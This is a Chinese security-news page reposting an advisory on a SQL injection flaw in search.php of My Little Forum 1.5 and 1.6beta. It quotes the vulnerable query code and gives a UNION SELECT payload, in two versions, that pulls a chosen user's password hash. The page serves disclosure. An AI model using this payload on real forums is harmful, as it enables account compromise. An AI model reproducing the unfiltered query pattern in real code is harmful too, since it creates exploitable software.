首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 安全知识 > My Little Forum search.php 的远程 SQL注入漏洞
【标  题】:My Little Forum search.php 的远程 SQL注入漏洞
【关键字】:c,SQL,远程,注入,SQL注入,php,漏洞,My,search,For,or,My,Little,Forum,search,php,SQL
【来  源】:WWW.rising.com.cn

My Little Forum search.php 的远程 SQL注入漏洞

受影响系统:

my little homepage My Little Forum 1.6beta
my little homepage My Little Forum 1.5

描述:

BUGTRAQ  ID: 14908

My Little Forum是一款简单的WEB论坛程序。

My Little Forum中存在SQL注入漏洞,成功利用这个漏洞的攻击者可以完全入侵基础数据库系统。

在search.php的第144行:

...
$result = mysql_query("SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL ".
$time_difference." HOUR,'".$lang['time_format']."') AS Uhrzeit,
DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR, '".$lang['time_format']."')
AS Datum, subject, name, email, hp, place, text, category FROM ".$forum_table."
WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", "
.$settings['search_results_per_page'], $connid);
...

然后在搜索页面,选择“phrase”,然后键入:

[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*

由于没有过滤$searchstring变量,如果关闭了magic quote的话,就可以得到任何管理员/用户口令哈希。

1.6beta版也受漏洞影响:
...
$result = mysql_query("SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL \
".$time_difference." HOUR) AS Uhrzeit, subject, name, email, hp, place, text, \
category FROM ".$db_settings['forum_table']." WHERE ".$search_string." ORDER BY tid \
DESC, time ASC LIMIT ".$ul.", ".$settings['search_results_per_page'], $connid);
...

在注入字符串中删除语句,可得到同样的结果

[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*


厂商补丁:

my little homepage

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.mylittlehomepage.net/forum_script.html


Kerio ServerFirewall 中存在未明拒绝服务的漏洞:【上一篇】
学生档案管理系统设计分析:【下一篇】
【相关文章】
  • Kerio ServerFirewall 中存在未明拒绝服务的漏洞
  • 微软Internet Explorer 6.0嵌入内容跨站脚本漏洞
  • 从Continuation概念说到它在开发中的应用
  • Tomcat5.0+MySql配置JDBC,DBCP,SSL
  • 轻松在Word中实现一键粘贴(原创)
  • CPU风扇引发的系统启动异常
  • CPU 起死回生惊魂记
  • ScriptRunner(com.ibatis.common.jdbc.*)用法
  • 简明 HTML CSS 开发规范[作者:wjack 来源:蓝色理想]
  • 基于myFaces的JSF技术使用中的一些经验(一)--乱码的处理
  • 【随机文章】
  • [代码片断]得到Windows可用物理内存大小
  • 模块化编程---模块划分
  • windows环境下以日期为文件名的oracle数据导出
  • 自己构建SKB ARP发送代码
  • 今天喜事多啊
  • (转载)简单工厂,工厂方法和抽象工厂模式
  • vi点滴
  • prototype.js 1.4版开发者手册
  • ASP.NET中导出excel/word等类型文件的简单方法
  • 模版动态数组(c++)
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.